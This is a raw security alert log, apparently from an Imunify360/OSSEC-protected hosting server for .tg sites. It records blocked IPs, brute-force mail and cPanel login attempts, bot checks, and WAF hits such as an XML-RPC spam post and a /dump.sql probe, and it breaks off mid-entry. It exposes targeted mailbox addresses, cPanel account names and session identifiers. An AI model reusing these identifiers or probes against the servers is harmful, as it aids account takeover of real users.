Jun 10 11:30:19 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.122.144.138 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.143
country_id: 1880251
description:
47.128.96.143 - - [10/Jun/2026:11:30:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6382742&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-casier-judiciaire-informatise-voici-le-site-a-utiliser-pour-faire-sa-demande-en-ligne%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091030 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-casier-judiciaire-informatise-voici-le-site-a-utiliser-pour-faire-sa-demande-en-ligne/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.143


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.156.13.6
country_id: 3686110
description:
Jun 10 11:29:40 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.156.13.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.156.106.74
country_id: 3439705
description:
2026-06-10 11:29:52 dovecot_plain authenticator failed for H=([198.23.185.222]) [152.156.106.74]:17365: 535 Incorrect authentication data (set_id=contato@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.181.32.5
country_id: 3469034
description:
2026-06-10 11:30:22 dovecot_plain authenticator failed for H=([198.23.185.222]) [45.181.32.5]:5039: 535 Incorrect authentication data (set_id=financeiro@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.96.144
country_id: 3469034
description:
Jun 10 11:31:05 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.96.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.45.61.84
country_id: 630336
description:
2026-06-10 11:31:29 dovecot_plain authenticator failed for H=([198.23.185.222]) [37.45.61.84]:47348: 535 Incorrect authentication data (set_id=hr@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.206
country_id: 1880251
description:
47.128.96.206 - - [10/Jun/2026:11:30:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854810&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091053 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.206


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.90.149.6
country_id: 3017382
description:
2026-06-10 11:31:14 dovecot_plain authenticator failed for H=bro69-h02-87-90-149-6.dsl.sta.abo.bbox.fr ([198.23.185.222]) [87.90.149.6]:41570: 535 Incorrect authentication data (set_id=suporte@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.235.139.207
country_id: 102358
description:
2026-06-10 11:30:37 dovecot_plain authenticator failed for H=([198.23.185.222]) [51.235.139.207]:40144: 535 Incorrect authentication data (set_id=comercial@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.148.180.224
country_id: 690791
description:
2026-06-10 11:31:00 dovecot_plain authenticator failed for H=([198.23.185.222]) [46.148.180.224]:50406: 535 Incorrect authentication data (set_id=accounts@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.45.61.84
country_id: 630336
description:
2026-06-10 11:31:36 dovecot_login authenticator failed for H=([198.23.185.222]) [37.45.61.84]:47348: 535 Incorrect authentication data (set_id=hr@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.125.115.17
country_id: 3469034
description:
2026-06-10 11:31:50 dovecot_plain authenticator failed for H=([198.23.185.222]) [179.125.115.17]:22788: 535 Incorrect authentication data (set_id=soporte@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-10 11:32:00 +0000] info [cpaneld] 157.66.56.231 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.80.35.84
country_id: 3469034
description:
2026-06-10 11:32:08 dovecot_plain authenticator failed for H=([198.23.185.222]) [170.80.35.84]:34586: 535 Incorrect authentication data (set_id=ventas@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-10 11:33:17 +0000] info [cpaneld] 157.66.56.231 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [10/Jun/2026:11:32:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054250&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091160 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.16
country_id: 1880251
description:
47.128.96.16 - - [10/Jun/2026:11:33:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133159&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fong-adventist-development-and-relief-agency-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091192 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ong-adventist-development-and-relief-agency-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.16


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 156.38.84.67
country_id: 2363686
description:
156.38.84.67 - - [10/Jun/2026:11:33:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738139&pdata=https%253A%252F%252Fcivilemagazine.tg%252Fune-societe-recherche-une-assistante-en-communication%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091215 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/" "Mozilla/5.0 (Linux; U; Android 15; SM-A336B Build/AP3A.240905.015.A2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/140.0.7339.51 Mobile Safari/537.36 OPR/95.0.2254.79260" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:156.38.84.67


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 102.64.164.109
country_id: 2363686
description:
102.64.164.109 - - [10/Jun/2026:11:34:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738139&pdata=https%253A%252F%252Fcivilemagazine.tg%252Fune-societe-recherche-une-assistante-en-communication%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091215 HTTP/2.0" 404 159 civilemagazine.tg "https://www.yahoo.tg/" "Mozilla/5.0 (Android 16; Mobile; SM-A356B/DS; rv:142.0) Gecko/142.0 Firefox/142.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.164.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.174
country_id: 1880251
description:
47.128.96.174 - - [10/Jun/2026:11:34:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881748&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsociete-petroliere-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091277 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/societe-petroliere-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.174


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.243.14
country_id: 1562822
description:
Jun 10 11:34:56 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.243.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.42.187.117
country_id: 1880251
description:
Jun 10 11:34:57 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.42.187.117 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-10 11:35:13 +0000] info [cpaneld] 157.66.56.231 - primuscourtiertg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user primuscourtiertg (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.114
country_id: 2635167
description:
[2026-06-10 11:35:31 +0000] info [cpaneld] 5.230.133.114 NEW hgfdcvbnk:h30XoFFkjUO9EczH address=5.230.133.114,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.112
country_id: 3017382
description:
[2026-06-10 11:35:58 +0000] info [cpaneld] 5.231.255.112 NEW formationfreenet:5F12ZFQX6f1uw3EK address=5.231.255.112,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-10 11:35:54 +0000] info [cpaneld] 157.66.56.231 - iyfttuec "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user iyfttuec (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.113.198.145
country_id: 1512440
description:
2026-06-10 11:36:02 H=([188.113.207.33]) [188.113.198.145]:23895 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.124.162
country_id: 6252001
description:
[2026-06-10 11:36:44 +0000] info [whostmgrd] 82.40.124.162 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 68.1.158.57
country_id: 6252001
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6aa9a4f906e24cbc0f9e9fe230f551ee639638e1||Title:tc-check-https://testdomen.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-10 11:37:01 +0000] info [cpaneld] 157.66.56.231 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [10/Jun/2026:11:37:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198952&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcalvaire-des-usagers-de-la-route-de-segbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091420 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/calvaire-des-usagers-de-la-route-de-segbe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.30
country_id: 130758
description:
Jun 10 11:38:27 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.30 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.175
country_id: 1880251
description:
47.128.96.175 - - [10/Jun/2026:11:37:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13004696&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpratique-du-concert-party%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091472 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pratique-du-concert-party/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.175


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-10 11:38:06 +0000] info [cpaneld] 157.66.56.231 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.73.209.71
country_id: 1562822
description:
Jun 10 11:39:04 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.73.209.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.73.209.71
country_id: 1562822
description:
2026-06-10 11:39:06 dovecot_plain authenticator failed for H=(lxeamxsnancjarepf8) [27.73.209.71]:52719: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
47.128.96.199 - - [10/Jun/2026:11:38:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9554579&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcomment-suivre-gratuitement-le-match-senegal-togo-sur-son-telephone%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091531 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/comment-suivre-gratuitement-le-match-senegal-togo-sur-son-telephone/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.13
country_id: 1880251
description:
47.128.96.13 - - [10/Jun/2026:11:39:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12818800&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Futilisation-des-eleves-pour-des-travaux-champetres-et-autres-corvees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091595 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/utilisation-des-eleves-pour-des-travaux-champetres-et-autres-corvees/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.13


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-10 11:40:08 +0000] info [cpaneld] 157.66.56.231 - sbnjjkvc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sbnjjkvc (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.16
country_id: 6252001
description:
[2026-06-10 11:40:08 +0000] info [cpaneld] 134.195.83.16 NEW marketplacenetma:dfXecZrciXTP_zFX address=134.195.83.16,app=cpaneld,creator=marketplacenetma,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-10 11:40:01 +0000] info [cpaneld] 157.66.56.231 - polyfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user polyfree (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.178
country_id: 1880251
description:
47.128.96.178 - - [10/Jun/2026:11:40:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999212&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fafro-global-connect%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091641 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/afro-global-connect/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.178


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.198.74.106
country_id: 6252001
description:
2026-06-10 11:40:51 dovecot_plain authenticator failed for H=seneca.istihost.net (yg006ycxtjbgsruil4wgfct4zylad8) [159.198.74.106]:53586: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.198.74.106
country_id: 6252001
description:
Jun 10 11:40:49 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.198.74.106 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-10 11:41:00 +0000] info [cpaneld] 103.65.237.227 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.139
country_id: 1880251
description:
47.128.96.139 - - [10/Jun/2026:11:41:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316438&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchloroquine%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091718 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chloroquine/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.139


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.153.31.0
country_id: 6252001
description:
Jun 10 11:42:12 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.153.31.0 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.27.192.140
country_id: 2661886
description:
[2026-06-10 11:42:50 +0000] info [cpaneld] 193.27.192.140 - mediatopnews "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.32.24.86
country_id: 2921044
domain: communewawa2.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dump.sql||User:hnefmnqz||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.13
country_id: 1880251
description:
47.128.96.13 - - [10/Jun/2026:11:43:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119022&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-reseau-voleurs-voitures%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091784 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-reseau-voleurs-voitures/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.13


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.63.16.121
country_id: 6251999
domain: vo2.mairie.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/Vo2.mairie.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.54.40.150
country_id: 6252001
description:
[2026-06-10 11:43:22 +0000] info [cpaneld] 100.54.40.150 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.170
country_id: 1880251
description:
47.128.96.170 - - [10/Jun/2026:11:44:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13067117&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcitronnelle%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091882 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/citronnelle/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.170


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [10/Jun/2026:11:45:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923218&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faugmentation-de-volume-data-togocom%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781091902 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/augmentation-de-volume-data-togocom/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.227.172.13
country_id: 2017370
description:
Jun 10 11:46:02 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.227.172.13 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 79.177.159.187
country_id: 294640
description:
79.177.159.187 - - [10/Jun/2026:11:47:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120091&pdata=https%253A%252F%252Ftogodailynews.tg%252Faction-climatique-le-togo-lance-une-doctrine-budgetaire-africaine&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781092062 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/action-climatique-le-togo-lance-une-doctrine-budgetaire-africaine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:79.177.159.187


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.33
country_id: 2635167
description:
[2026-06-10 11:48:03 +0000] info [cpaneld] 5.230.153.33 NEW lhqeyybr:gBANWmFRyon3iesA address=5.230.153.33,app=cpaneld,creator=lhqeyybr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.82.75.53
country_id: 3865483
description:
191.82.75.53 - - [10/Jun/2026:11:47:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10264009&pdata=https%253A%252F%252Ftogodailynews.tg%252Fintegration-regionale-faure-gnassingbe-recoit-cheikh-niang-a-lome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781092058 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/integration-regionale-faure-gnassingbe-recoit-cheikh-niang-a-lome" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.82.75.53


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.201
country_id: 1880251
description:
47.128.96.201 - - [10/Jun/2026:11:48:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077549&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-aka-financial-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781092105 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-aka-financial-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.201


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.46.146.71
country_id: 3895114
description:
190.46.146.71 - - [10/Jun/2026:11:48:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051204&pdata=https%253A%252F%252Ftogodailynews.tg%252Faction-climatique-le-togo-lance-une-doctrine-budgetaire-africaine&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781092132 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/action-climatique-le-togo-lance-une-doctrine-budgetaire-africaine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.46.146.71


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.146.242.111
country_id: 6252001
description:
Jun 10 11:48:38 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.146.242.111 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 109.161.244.156
country_id: 290291
description:
109.161.244.156 - - [10/Jun/2026:11:48:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724804&pdata=https%253A%252F%252Ftogodailynews.tg%252Fintegration-regionale-faure-gnassingbe-recoit-cheikh-niang-a-lome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781092129 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/integration-regionale-faure-gnassingbe-recoit-cheikh-niang-a-lome" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:109.161.244.156


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.191.224.52
country_id: 1880251
description:
Jun 10 11:49:20 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.191.224.52 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.125
country_id: 1880251
description:
